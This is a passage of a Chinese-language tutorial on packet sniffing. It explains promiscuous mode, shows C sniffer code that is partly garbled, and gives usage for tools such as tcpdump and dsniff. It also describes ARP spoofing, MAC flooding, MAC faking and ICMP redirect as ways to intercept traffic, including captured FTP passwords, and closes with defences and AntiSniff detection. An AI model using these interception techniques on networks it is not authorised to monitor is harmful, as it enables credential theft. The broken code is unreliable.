内的单片程序接收数据帧的目的MAC地址,根据计算机上的网卡驱动程序设置的接收模式判
断该不该接收,认为该接收就接收后产生中断信号通知CPU,认为不该接收就丢掉不管,所
以不该接收的数据网卡就截断了,计算机根本就不知道。CPU得到中断信号产生中断,操作
系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据,驱动程序接收
数据后放入信号堆栈让操作系统处理。而对于网卡来说一般有四种接收模式:
广播方式:该模式下的网卡能够接收网络中的广播信息。 组播方式:设置在该模式下 的网卡能够接收组播数据。 直接方式:在这种模式下,只有目的网卡才能接收该数 据。 混杂模式:在这种模式下的网卡能够接收一切通过它 的数据,而不管该数据是否是 传给它的。
好了,现在我们总结一下,首先,我们知道了在以太网中是基于广播方式传送数据的,也
就是说,所有的物理信号都要经过我的机器,再次,网卡可以置于一种模式叫混杂模式
(promiscuous),在这种模式下工作的网卡能够接收到一切通过它的数据,而不管实际上数
据的目的地址是不是他。这实际上就是我们SNIFF工作的基本原理:让网卡接收一切他所能接
收的数据。
(图一)
我们来看一个简单的例子,如图一所示,机器A、B、C与集线器HUB相连接,集线器HUB通
过路由器Router访问外部网络。这是一个很简单也很常见的情况,比如说在公司大楼里,我
所在的网络部办公室里的几台机器通过集线器连接,而网络部、开发部、市场部也是同样如
此,几个部门的集线器通过路由器连接。还是回到我们的图一上来,值得注意的一点是机器
A、B、C使用一个普通的HUB连接的,不是用SWITCH,也不是用ROUTER,使用SWITCH和ROUTER
的情况要比这复杂得多。
我们假设一下机器A上的管理员为了维护机器C,使用了一个FTP命令向机器C进行远程登陆,
那么在这个用HUB连接的网络里数据走向过程是这样的。首先机器A上的管理员输入的登陆机
器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网
驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了HUB上,
现在由HUB向每一个接点广播由机器A发出的数据帧,机器B接收到由HUB广播发出的数据帧,
并检查在数据帧中的地址是否和自己的地址相匹配,发现不是发向自己的后把这数据帧丢弃,
不予理睬。而机器C也接收到了数据帧,并在比较之后发现是发现自己的,接下来他就对这数
据帧进行分析处理。
在上面这个简单的例子中,机器B上的管理员如果很好奇,他很想知道究竟登陆机器C上FTP
口令是什么?那么他要做的很简单,仅仅需要把自己机器上的网卡置于混杂模式,并对接收到
的数据帧进行分析,从而找到包含在数据帧中的口令信息。
四 做一个自己的sniff
在上一节里,我们已经知道了SNIFF的基本原理是怎么一回事,这一节我们来亲自动手做一个
自己的sniff,毕竟,用程序代码来说话比什么都要来得真实,也容易加深理解。
回头想一想我们上面说的原理,我们要做的事情有几件:
1. 把网卡置于混杂模式。 2. 捕获数据包。 3. 分析数据包。
注:下面的源代码取至Chad Renfro的>
一文中
/************************Tcp_sniff_2.c********************/
1.#include
2.#include
3.#include
4.#include
5.#include
6.#include
7.#include
8.#include
9.#include "headers.h"
#define INTERFACE "eth0"
/*Prototype area*/
10.int Open_Raw_Socket(void);
11.int Set_Promisc(char *interface, int sock);
12.int main() {
13.int sock, bytes_recieved, fromlen;
14.char buffer[65535];
15.struct sockaddr_in from;
16.struct ip *ip;
17.struct tcp *tcp;
18.sock = Open_Raw_Socket();
19. Set_Promisc(INTERFACE, sock);
20. while(1)
22. {
23. fromlen = sizeof from;
24. bytes_recieved = recvfrom(sock, buffer, sizeof buffer, 0, (struct sockaddr *)&from, &fromlen);
25. printf("/nBytes received ::: %5d/n",bytes_recieved);
26. printf("Source address ::: %s/n",inet_ntoa(from.sin_addr));
27. ip = (struct ip *)buffer;
/*See if this is a TCP packet*/
28. if(ip->ip_protocol == 6) {
29. printf("IP header length ::: %d/n",ip->ip_length);
30. printf("Protocol ::: %d/n",ip->ip_protocol);
31. tcp = (struct tcp *)(buffer + (4*ip->ip_length));
32. printf("Source port ::: %d/n",ntohs(tcp->tcp_source_port));
33. printf("Dest port ::: %d/n",ntohs(tcp->tcp_dest_port));
34. }
35. }
36.}
37.int Open_Raw_Socket() {
38. int sock;
39. if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) ip_protocol == 6) ,如果答案是,tcp信息包从整个IP/TCP包 buffer + (4*ip->ip_length)
地址处开始,所以31行 tcp = (struct tcp *)(buffer + (4*ip->ip_length)),然后对应
结构把你所需要的信息输出。
/*************************headers.h**************************/
/*structure of an ip header*/
struct ip {
unsigned int ip_length:4; /*little-endian*/
unsigned int ip_version:4;
unsigned char ip_tos;
unsigned short ip_total_length;
unsigned short ip_id;
unsigned short ip_flags;
unsigned char ip_ttl;
unsigned char ip_protocol;
unsigned short ip_cksum;
unsigned int ip_source; unsigned int ip_dest;
};
/* Structure of a TCP header */
struct tcp {
unsigned short tcp_source_port;
unsigned short tcp_dest_port;
unsigned int tcp_seqno;
unsigned int tcp_ackno;
unsigned int tcp_res1:4, /*little-endian*/
tcp_hlen:4,
tcp_fin:1,
tcp_syn:1,
tcp_rst:1,
tcp_psh:1,
tcp_ack:1,
tcp_urg:1,
tcp_res2:2;
unsigned short tcp_winsize;
unsigned short tcp_cksum;
unsigned short tcp_urgent;
};
/*********************EOF***********************************/
从上面的分析我们可以清楚的认识到,认识一个SNIFF需要对TCP/IP协议有着详细的了解,
否则你根本无法找到你需要的信息。有了上面的基础,你可以自己来做一个你需要的SNIFF了。
五 常用的SNIFF
很少有原因会让你自己亲自动手来做一个自己的SNIFF,除非你是想了解他的原理,或者是
其他一些特别的原因,比如你要在某个特殊的环境拦截一些特殊的数据包。下面我们就来看
看一些在网络上经常使用的SNIFF。
(1)windows环境下
windows环境下当然是大名鼎鼎的netxray以及sniffer pro了,实际上很多人都是用他在
windows环境下抓包来分析,不过我想很少有人笨到去在别人的机器上安装一个图形界面的SNIFF,
除非他和管理员很熟悉........ netxray的使用就不多说了,反正windows下的东西就是
click,click,click,非常的方便用户。
(2)UNUX环境下
UNUX环境下的sniff可以说是百花齐放,一抓就是一大把,如sniffit,snoop,tcpdump,dsniff
等都是比较常见的,他们都有一个好处就是发布源代码,可以让你研究,当然也都是免费的:)
1. sniffit
sniffit可以运行在Solaris、SGI和Linux等平台上,由Lawrence Berkeley Laboratory 实验
室开发的一个免费的网络监听软件。最近Sniffit 0.3.7也推出了NT版本,并也支持WINDOWS2000.
使用方法:
-v 显示版本信息
-a 以ASCII形式将监听的结果输出。
-A 在进行记录时,所有不可打印的字符都用代替
-b 等同于同时使用参数-t & -s。
-d 将监听所得内容以十六进制方式显示在当前终端
-p 记录连接到的包,0为所有端口。缺省为0。
-P protocol 选择要检查的协议,缺省为TCP。可能的选择有IP、TCP、ICMP、UDP和他们的组合。
-s 指定sniffer 检查从 发送的数据包。 -t 指定sniffer 检查发送到的数据包。
-i 进入交互模式
-l 设定数据包大小,default是300字节
注:参数可以用@来表示一个IP范围,比如 -t 192.168.@ -t和-s 只适用于TCP/UDP数据包,对
于ICMP和IP也进行解释。但如果只选择了-p参数,则只用于TCP和UDP包。
举例说明:
#sniffit -a -p 21 -t xxx.xxx.xxx.xxx
监听流向机器xxx.xxx.xxx.xxx的21端口(FTP)的信息,并以ASCII显示
#sniffit -d -p 23 -b xxx.xxx.xxx.xxx
监听所有流出或流入机器xxx.xxx.xxx.xxx的23端口(telnet)的信息,并以16进制显示
你可以在这里找到sniffit http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
2. snoop
snoop默认情况安装在Solaris下,是一个用于显示网络交通的程序,不过SNIFF是把双刃剑,
既然管理员能用他来监视自己的网络,当然一个心怀恶意的入侵者也可以用他来SNIFF自己感兴
趣的内容。值得一提的是, SNOOP被发现存在一个缓冲区溢出漏洞,当以导致入侵者以运行
snoop(通常为root)的身份远程进入系统。这是题外话,暂且就此打住。
使用方法:
[ -a ] # Listen to packets on audio
[ -d device ] # settable to le?, ie?, bf?, tr?
[ -s snaplen ] # Truncate packets
[ -c count ] # Quit after count packets
[ -P ] # Turn OFF promiscuous mode
[ -D ] # Report dropped packets
[ -S ] # Report packet size
[ -i file ] # Read previously captured packets
[ -o file ] # Capture packets in file
[ -n file ] # Load addr-to-name table from file
[ -N ] # Create addr-to-name table
[ -t r|a|d ] # Time: Relative, Absolute or Delta
[ -v ] # Verbose packet display
[ -V ] # Show all summary lines
[ -p first[,last] ] # Select packet(s) to display
[ -x offset[,length] ] # Hex dump from offset for length
[ -C ] # Print packet filter code
例如:
#snoop -o saved A B
监听机器A与B的谈话,并把内容存储于文件saved中
3. tcpdump
tcpdmp也算是一个很有名气的网络监听软件,FREEBSD还把他附带在了系统上,是一个被
很多UNIX高手认为是一个专业的网络管理工具。
使用方法:
tcpdump采用命令行方式,它的命令格式为:
tcpdump [ -adeflnNOpqStvx ][ -c 数量 ][ -F 文件名 ][ -i 网络接口 ][ -r 文件名]
[ -s snaplen ][ -T 类型 ][ -w 文件名 ][表达式 ]
1. tcpdump的选项介绍
-a 将网络地址和广播地址转变成名字;
-d 将匹配信息包的代码以人们能够理解的汇编格式给出;
-dd 将匹配信息包的代码以c语言程序段的格式给出;
-ddd 将匹配信息包的代码以十进制的形式给出;
-e 在输出行打印出数据链路层的头部信息;
-f 将外部的Internet地址以数字的形式打印出来;
-l 使标准输出变为缓冲行形式;
-n 不把网络地址转换成名字;
-t 在输出的每一行不打印时间戳;
-v 输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息;
-vv 输出详细的报文信息;
-c 在收到指定的包的数目后,tcpdump就会停止;
-F 从指定的文件中读取表达式,忽略其它的表达式;
-i 指定监听的网络接口;
-r 从指定的文件中读取包(这些包一般通过-w选项产生);
-w 直接将包写入文件中,并不分析和打印出来;
-T 将监听到的包直接解释为指定的类型的报文,常见的类型有rpc和snmp
2. tcpdump的表达式介绍
表达式是一个正则表达式,tcpdump利用它作为过滤报文的条件,如果一个报文满足表达式
的条件,则这个报文将会被捕获。如果没有给出任何条件,则网络上所有的信息包将会被截获。
在表达式中一般如下几种类型的关键字,一种是关于类型的关键字,主要包括host,net,
port, 例如 host 210.27.48.2,指明 210.27.48.2是一台主机,net 202.0.0.0 指明 202.0.0.0
是一个网络地址,port 23 指明端口号是23。如果没有指定类型,缺省的类型是host.
第二种是确定传输方向的关键字,主要包括src , dst ,dst or src, dst and src ,这些关
键字指明了 传输的方向。举例说明,src 210.27.48.2 ,指明ip包中源地址是210.27.48.2 ,
dst net 202.0.0.0 指明目的网络地址是202.0.0.0 。如果没有指明方向关键字,则缺省是
src or dst关键字。
第三种是协议的关键字,主要包括fddi,ip ,arp,rarp,tcp,udp等类型。Fddi指明是在
FDDI(分布式光纤数据接口网络)上的特定的网络协议,实际上它是"ether"的别名,fddi和ether
具有类似的源地址和目的地址,所以可以将fddi协议包当作ether的包进行处理和分析。其他的
几个关键字就是指明了监听的包的协议内容。如果没有指定任何协议,则tcpdump将会监听所有
协议的信息包。
除了这三种类型的关键字之外,其他重要的关键字如下:
gateway, broadcast,less,greater,还有三种 逻辑运算,取非运算是 ''not '' ''! '', 与运算
是''and'',''&&'';或运算 是''or'' ,''||''。
举例使用:
#tcpdump host AAA.BBB.CCC.DDD
将监听IP地址为AAA.BBB.CCC.DDD的机器的通话
#tcpdump tcp port 23 host AAA.BBB.CCC.DDD
将监听IP地址为AAA.BBB.CCC.DDD的机器的23端口的通话
4. dsniff
之所以要谈谈dsniff,是因为他不仅仅是一个sniff,在他的整个套件包中,包含了很多
其它有用的工具,如arpspoof,dnsspoof,macof,tcpkill等等,SNIFF的手段更加的多样和
复杂化。dsniff是由DugSong开发的你可以在他的主页上找到这个工具。 目前dsniff支持
OpenBSD (i386), Redhat Linux (i386), 和Solaris (sparc). 并且在FreeBSD, Debian Linux,
Slackware Linux, AIX, 和HP-UX上也能运转得很好。但是dsniff需要几个其他的第三方软件进
行支持,他们分别是,Berkeley DB ,OpenSSL, libpcap, libnet, libnids。如果条件允
许的话,你最好能够亲自读一读dsniff的源代码,你可以在
http://naughty.monkey.org/~dugsong/ 找到dsniff。
六 深入sniff
单纯的sniff的功能始终是局限的,所以在大多数的情况下,sniff往往和其他手段结合起来使
用,sniff和spoof已及其他技术手段结合在一起对网络构成的危害是巨大的。单纯的sniff好比缺
了一只腿,无法发挥大的作用,例如在sniff原理一节中我们讨论的例子里,我一再的强调我们使
用的是一个普通的HUB进行连接是有原因的,如果我们把在图一中的HUB用一个switch代替,那情况
就要复杂一些了,如图二所示:
图(二)
在图二中,我们的机器A、B、C与Switch相连接,而Switch通过路由器Router访问外部网络。我
们先来了解Switch的工作原理:
在我们图一中的 HUB 只是简单地把所接收到的信号通过所有端口(除了信号来的那个口)重复
发送出去不同,而图二中的Switch却可以检查每一个收到的数据包,并对数据包进行相应的处理。
在Switch内保存着每一个网段上所有节点的物理地址,只允许必要的网络流量通过Switch。举例来
说,当Switch接收到一个数据包之后,根据自身保存的网络地址表检查数据包内包含的发送和接收
方地址。如果接收方位于发送方网段,该数据包就会被Switch丢弃,不能通过交换机传送到其它的
网段;如果接收方和发送方位于两个不同的网段,该数据包就会被Switch转发到目标网段。这样,
通过交换机的过滤和转发,可以有效避免网络广播风暴,减少误包和错包的出现。顺便说一句,现在
Switch和HUB的价格相去无几,所以hub正逐渐被网络交换机取代。
现在回到我们的例子中来,在图二中仍然和图一一样,我们假设机器A上的管理员为了维护机器C,
使用了一个FTP命令向机器C进行远程登陆,那么在这里,数据是这样走的:首先机器A上的管理员输入
的登陆机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网
驱动程序一层一层的包裹,最后送到了物理层,我们的网线上。接下来数据帧送到了Switch上,而
Switch检查数据帧中的目的地址,并在他自身保存的网络地址表中知道了他应该把这数据帧发到机器
C那里,于是,接下来机器C接收到了从A发来的信息,发现他是发给自己的信息,于是进行分析处理。
OK,现在我们机器B上的管理员的好奇心只能深深的埋藏在心里了,因为数据包根本就没有经过他,
就算他把自己的网卡设置成混杂模式也是有力无处使。
在了解在一个Switch环境下原理后,我们结合一些手段去设法sniff,是的,我们可以做到这一点,
有许多的手段可以让管理员B满足他的好奇心,在下面我会提出几个办法,当然只是其中的一些办法
而已。
1 ARP Spoof
在基于IP通信的内部网中,我们可以使用 ARP Spoof 的手段,了解什么是ARP Spoof的前提你先
要明白一下什么是ARP和RARP协议,什么是MAC地址,什么又是IP地址。ARP协议是地址转换协议,
RARP被称为反向地址转换协议,他们负责把IP地址和MAC地址进行相互转换对应。
ARP Spoof 攻击的根本原理是因为计算机中维护着一个 ARP 高速缓存,并且这个ARP 高速缓存是
随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的,ARP 高速缓存的目的是把机器的IP地
址和MAC地址相互映射。你可以使用 arp 命令来查看你自己的 ARP 高速缓存。现在设想一下,一个
Switch工作在数据链路层,他根据MAC地址来转发他所接收的数据包,而计算器维护的 ARP 高速缓存
却是动态的......你想到什么了吗?
为了加深理解,现在给我们的机器编上号,机器A:IP地址为 10.0.0.1 ,MAC地址为
20-53-52-43-00-01 ,机器B:IP地址为 10.0.0.2 ,MAC地址为 20-53-52-43-00-02,机器C:IP地址
为 10.0.0.3 ,MAC地址为 20-53-52-43-00-03 。现在机器B上的管理员是个聪明的家伙,他向机器
A发出一个 ARP Reply (协议没有规定一定要等ARP Request出现才 能发送ARP Reply,也没有
规定一定要发送过ARP Request才能接收ARP Reply),其中的目的IP地址为10.0.0.1,目的MAC
地址为 20-53-52-43-00-01 ,而源IP地址为10.0.0.3,源MAC地址为 20-53-52-43-00-02 ,好了,
现在机器A更新了他的 ARP 高速缓存,并相信了IP地址为10.0.0.3的机器的MAC地址是
20-53-52-43-00-02 。当机器A上的管理员发出一条FTP命令时---ftp 10.0.0.3,数据包被送到了
Switch,Switch查看数据包中的目的地址,发现MAC为 20-53-52-43-00-02 ,于是,他把数据包
发到了机器B上。再设想一下,如果不想影响A和C之间的通信该怎么办?你可以同时欺骗他们双方,
来一个 man-in-middle 。
当然,在实际的操作中你还需要考虑到一些其他的事,比如某些操作系统在会主动的发送ARP请
求包来更新相应的ARP入口等。
2. MAC Flooding
在上面我们曾经提到过,Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到
那一个端口上是根据他本身维护的一张地址表。这张地址表可能是动态的也可能是静态的,这要看
Switch的厂商和Switch的型号来定,对于某些Switch来说,他维护的是一张动态的地址表,并且地
址表的大小是有上限的,比如 3com Superstack Switch 3300 (3c16981 Hardware v.1 Software v.2.10)
就是这样一种Switch,我们可以通过发送大量错误的地址信息而使SWITCH维护的地址表“溢出”,
从而使他变成广播模式来达到我们要 sniff 机器A与机器C之间的通信的目的。
3. Fake the MAC address
伪造MAC地址也是一个常用的办法,不过这要基于你网络内的Switch是动态更新其地址表,这实
际上和我们上面说到的 ARP Spoof 有些类似,只不过现在你是想要Switch相信你,而不是要机器A
相信你。因为Switch是动态更新其地址表的,你要做的事情就是告诉Switch:HI,我是机器C。换成
技术上的问题你只不过需要向Switch发送伪造过的数据包,其中源MAC地址对应的是机器C的MAC地址,
现在Switch就把机器C和你的端口对应起来了。不过其中存在一个问题,现在机器C也会说了:
HI,Switch老大,我才是机器C呢!,现在你该怎么办?切,还用问!让他说不了话就可以了,
DOS还是其他什么,随便你了......
4. ICMP Router Advertisements
这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的,在Windows 95、98、2000及SunOS、
Solaris 2.6等系统中,都使用了IRDP协议,SunOS系统只在某些特定的情况下使用该协议,而
Windows95 ,Windows95b, Windows98, Windows98se, 和 Windows2000都是默认的使用IRDP协议。
IRDP协议的主要内容就是告诉人们谁是路由器,设想一下,一个HACK利用IRDP宣称自己是路由器的
情况会有多么的糟糕!所有相信HACK的请求的机器把他们所有的数据都发送给HACK所控制的机器.........
5. ICMP Redirect
所谓ICMP重定向,就是指告诉机器向另一个不同的路由发送他的数据包,ICMP重定向通常使
用在这样的场合下,假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内,而A和B都
不知道这一点,只有路由器知道,当A发送给B的数据到达路由器的时候,路由器会向A送一个ICMP
重定向包裹,告诉A:HI,别再送数据给我转交了,你就直接送到B那里就可以了。设想一下,
一个hack完全可以利用这一点,使得A发送给B的数据经过他。
上面提到的这些方法只不是其中的一些,为了配合sniff能够工作得更有效率,还有其他许多
的办法,其实sniff的目的说穿了只有一个,就是抓包,从抓包这个概念上引伸下去,所有为了能
够抓到网络上的信息包而采用的技术都可以归入sniff,单纯的sniff是没有什么效率的。你还能
想到什么吗?进攻路由器,在路由器上放置sniff......,在系统内核中植入sniff......等等。
七 如何防止SNIFF
防止sniff最有效的手段就是进行合理的网络分段,并在网络中使用交换机和网桥,在理想的情
况下使每一台机器都拥有自己的网络段,当然这会使你的网络建设费用增加很多,所以你可以尽量
使相互信任的机器属于同一个网段,使他们互相之间不必担心sniff的存在。并在网段于网段间进
行硬件屏障。你也可以使用加密技术对你在网络中传送的敏感数据如户ID或口令,你的银行帐号,
商业机密等进行加密,你可以选用SSH等加密手段。为了防止ARP欺骗,你可以使用永久的ARP
缓存条目,反正上面的攻击手段和原理你也看了,你就反过来想想该怎么办好了。不过有盾必有矛,
平时的安全意识才是最重要的。
(注:以下关于AntiSniff的介绍取至backend翻译整理的L0pht AntiSniff 技术文档一文)
当你做做层层保护后,你还是怀疑自己的网络上存在sniff该怎么办? L0pht 小组为了探测
sniff专门发布了一个软件 AntiSniff,当然这个软件不是免费的:),AntiSniff 工具用于检测局
域网中是否有机器处于混杂模式,AntiSniff Version 1.x被设计为运行在以太网的Windows系统中,
提供了简单易用的图形用户界面,AntiSniff Version 1.x 主要工作在非交换环境下的本地网段中,
如果运行在交换环境下其功能将大打折扣。AntiSniff Ver 2.0 将不但能在本地网段中,而且能够穿
过路由器和交换机进行工作。
◆ 操作系统类特殊测试
Linux 内核测试
旧版本的Linux内核存在一个奇怪的特性,可被用于确定机器是否处于混杂模式。在正常情形下,
网卡会过滤和丢弃那些目标地址不是本机MAC地址或以太网广播地址的数据包。如果数据包的目标地
址为本机以太网地址或广播地址,将传送给内核进行处理,因为其认为该以太网数据帧包含了本机
的正确IP地址或该网络广播地址。如果网卡处于混杂模式,则每个数据包都会传递给操作系统进行
分析或处理。许多版本的 Linux内核只检查数据包中的IP地址以确定是否存放到IP堆栈中进行处理。
为了利用这一点,AntiSniff构造一个无效以太网地址而IP地址有效的数据包。对于使用了这些内核
版本和处于混杂模式的Linux系统,由于只检查到IP地址有效而将其接收并存放到相应堆栈中。通过
在这个伪造的以太网数据帧中构造一个ICMP ECHO请求,这些系统会返回响应包(如果处于混杂模式)
或忽略(如果不处于混杂模式),从而暴露其工作模式。当伪造的以太网数据帧中的IP地址设置为网络
广播地址时这个测试非常有效。 AntiSniff的使用者可以修改伪造的以太网址,缺省值为66:66:66:66:66:66。
NetBSD
许多NetBSD内核具有与上述Linux内核相同的特性,不过伪造以太网数据帧中的 IP地址必须设为广
播地址。
Windows 95/98/NT
根据对网络驱动程序头文件的了解,可以知道当处于混杂模式时,Microsoft的操作系统会确切地检
查每个包的以太网地址。如果与网卡的以太网地址匹配,将作为目标IP地址为本机的数据包存放到相应
堆栈中处理。可以被利用的一点是系统对以太网广播包的分析。在正常情形下,例如机器工作在非混
杂模式下,网卡只向系统内核传输那些目标以太网址与其匹配或为以太网广播地址(ff:ff:ff:ff:ff:ff)
的数据包。如果机器处于混杂模式下,网络驱动程序仍然会检查每个数据包的以太网地址,但检查是否
为广播包时却只检查头8位地址是否为0xff。因此,为了使处于混杂模式的系统返回响应信息,
AntiSniff构造以太网地址为ff:00:00:00:00:00且含有正确目标IP 地址的数据包,当Microsoft的操
作系统接收到这个数据包时,将根据网络驱动程序检查到的细微差别而返回响应包(如果处于混杂模式)
或丢弃这个数据包(如果处于非混杂模式)。
需要注意的是,这个检查与使用的网络驱动程序有关。Microsoft缺省的网络驱动程序具有以上特性,
大多数的厂商为了保持兼容性也继承了这些特性。不过有些网卡会在其硬件层中检查以太网地址的头8位,
所以可能会无论系统真正的状态是什么都总是返回正值。关于这类网卡和驱动程序请访问
AntiSniff Ver 1.x的web网站。
◆ DNS 测试
进行DNS测试的原因是许多攻击者使用的网络数据收集工具都对IP地址进行反向 DNS解析,因为他们
希望根据域名寻找更有价值的主机。例如joepc1.foo.bar对攻击者的吸引力往往不如payroll.foo.bar
这种商业域名。此时这些工具就由被动型网络工具变为主动型网络工具了。而不监听网络通讯的机器
不会试图反向解析数据包中的 IP地址。为了利用这一点,AntiSniff Ver 1.x使自身处于混杂模式下,
向网络发送虚假目标IP地址的数据包,然后监听是否有机器发送该虚假目标IP地址的反向DNS查询。
伪造数据包的以太网地址、检查目标、虚假目标IP地址可由用户定制。
◆ 网络和主机响应时间测试
这种测试已被证明是最有效的。它能够发现网络中处于混杂模式的机器,而不管其操作系统是什么。
警告,这个测试会在很短的时间内产生巨大的网络通讯流量。进行这种测试的理由是不处于混杂模式
的网卡提供了一定的硬件底层过滤机制。也就是说,目标地址非本地(广播地址除外)的数据包将被网卡
的固件丢弃。在这种情况下,骤然增加、但目标地址不是本地的网络通讯流量对操作系统的影响只会
很小。而处于混杂模式下的机器则缺乏此类底层的过滤,骤然增加、但目标地址不是本地的网络通讯
流量会对该机器造成较明显的影响(不同的操作系统/内核/用户方式会有不同)。这些变化可以通过网
络通讯流量工具监视到。
根据以上要点,AntiSniff Ver 1.x 首先利用ICMP ECHO请求及响应计算出需要检测机器的响应时间
基准和平均值。在得到这个数据后,立刻向本地网络发送大量的伪造数据包。与此同时再次发送测试
数据包以确定平均响应时间的变化值。非混杂模式的机器的响应时间变化量会很小,而混杂模式的机
器的响应时间变化量则通常会有 1-4个数量级。为了对付攻击者和入侵者们最常用的多种工具,
AntiSniff进行了三种网络饱和度测试:SIXTYSIX、TCPSYN和THREEWAY。
* SIXTYSIX测试构造的数据包数据全为0x66。这些数据包不会被非混杂模式的机器接收,同时
方便使用常见的网络监听/分析工具(如tcpdump和snoop等)记录和捕获。
* TCPSYN测试构造的数据包包含有效的TCP头和IP头,同时TCP标志域的SYN位被设置。
* THREEWAY测试采取的原理基本上与TCPSYN一样,但更复杂些。在这种测试中两个实际不存在
的机器间多次建立完整的TCP三方握手通讯。它能够更好地欺骗那些骇客工具。
AntiSniff Ver 1.x 中能够通过以上三种数据包测试发现正处于混杂模式机器的测试方法最好周
期性地进行和与以前的数据比较。响应时间测试第一次运行的数据还能够用于分析一个大型网络在
flooding和非flooding状态时的性能,并帮助工程师调整网络性能。一旦确信本地网络已运行在正
常(没有未经允许而处于混杂模式的机器) 状态,就应该设置AntiSniff工具周期性运行。只要发现
某台机器性能(响应时间)发生数量级的变化,一般就能确定其正处于混杂模式。这种方法不需比较
两台独立系统间的性能数据,而只需比较同一台机器不同时候的数据就能确定该机器是否处于混杂
模式。
八 结尾
本文旨在向你描述sniff的基本原理,为的是要使你不仅仅能够了解什么是sniff而已,而是要明
白sniff运转的根本原理,文章参考了大量的资料,牵涉到直接引用的已经注明出处和作者,非常的
感谢他们。在此还要感谢 W.Richhard.Stevens,虽然其人已逝,但留下的TCP/IP三卷本真是造福了
大家,文章的很多地方也是拜他老人家指点迷经才得以感悟。最后还要感谢雀巢咖啡,让我得以熬
夜把这篇文章写完,呵呵,谢谢大家。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值